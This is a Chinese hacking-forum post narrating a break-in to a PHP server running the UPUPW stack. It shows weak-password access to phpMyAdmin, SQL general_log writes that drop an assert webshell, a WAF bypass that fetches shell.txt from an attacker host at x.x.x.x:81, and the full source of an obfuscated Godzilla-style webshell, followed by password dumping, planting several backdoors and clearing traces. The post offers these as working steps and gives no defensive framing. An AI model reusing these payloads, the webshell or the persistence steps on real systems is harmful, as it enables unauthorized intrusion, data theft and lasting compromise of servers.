taibeihacker
Moderator
确定目标

收集信息
x.x.x.x首先常規測試方法一頓懟,目錄掃描,端口掃描,js文件,中間件,指紋識別,反正該上的都上。隨手加個路徑,報錯了,當看到這個界面我瞬間就有思路了

為什麼這麼說呢,因為之前我就碰見過這樣的網站報錯, 這是一個php集成環境,叫upupw,跟phpstudy是一樣的
upupw -- pmd
phpstudy -- phpmyadmin
突破点
這個集成環境包也有個phpinfo的頁面,跟數據庫管理界面u.php

測試一下弱口令
root/root

連接成功後就可以看到phpinfo的頁面

好了現在問題變成phpmyadmin拿shell

getshell
三步拿shellset global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '?php assert($_POST['cmd']);';當執行第三步的時候頁面卡在執行中。沒有反應瞬間感覺不對,可能存在waf
換了個免殺馬試試,先寫到txt裡邊看看成否成功

沒有任何問題,下面直接寫入php文件

可以寫入,直接去連接shell

果然有waf,當時寫入的時候就感覺到了,不免殺的shell,sql語句執行不了
绕过waf
懟了半天都不知道是什麼鬼waf,用下載文件試試為了避免攔截php代碼的waf,我這里遠程下載的腳本是利用JavaScript轉寫php
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT 'script language='php' $a='http://x.x.x.x:81/shell.txt';$b='fi...;$b=$b($a);file_put_contents('shell.php',$b); /script'

訪問11.php 就會生成shell.php
這裡的shell也是用了哥斯拉的免殺shell
?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$istrlen($D);$i++) {
$D[$i]=$D[$i]^$K[$i+115];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p.'');}}
$R=new C();
$R-nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}

嘗試了這麼多次


進程裡沒有waf進程
權限是system

脱源码
上傳抓密碼工具,直接獲取管理密碼,登上服務器


留后门,清理痕迹
多留幾個後門,萬一被刪

這個網段還有這麼多機器

源码
打開源碼才發現waf是360webscan
總結:1.信息收集,目錄掃描,端口掃描,JS文件敏感文件掃描,中間件掃描,指紋識別無任何可利用信息2.通過在網址後加入錯誤路徑,報錯信息“為找到,法海不懂愛,頁面顯示不出來”,該系統是php集成環境upupw3.該環境有個叫phpinfo的文件為u.php,輸入弱口令root/root,可直接進入phpmyadmin,同時可查看phpinfo的信息,暴露出網站的絕對路徑為D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/4.phpmyadmin通過寫入日誌獲取shellset global general_log='on';SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';SELECT '?php assert($_POST['cmd']);';5.可直接寫入一句話,但是連接shell,被WAF攔截6.通過遠程下載的腳本是利用JavaScript轉寫php繞過WAF(360webscan)SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';SELECT 'script language='php' $a='http://x.x.x.x:81/shell.txt';$b='fi...;$b=$b($a);file_put_contents('shell.php',$b); /script'7.訪問11.php 就會生成shell.phpshell.txt
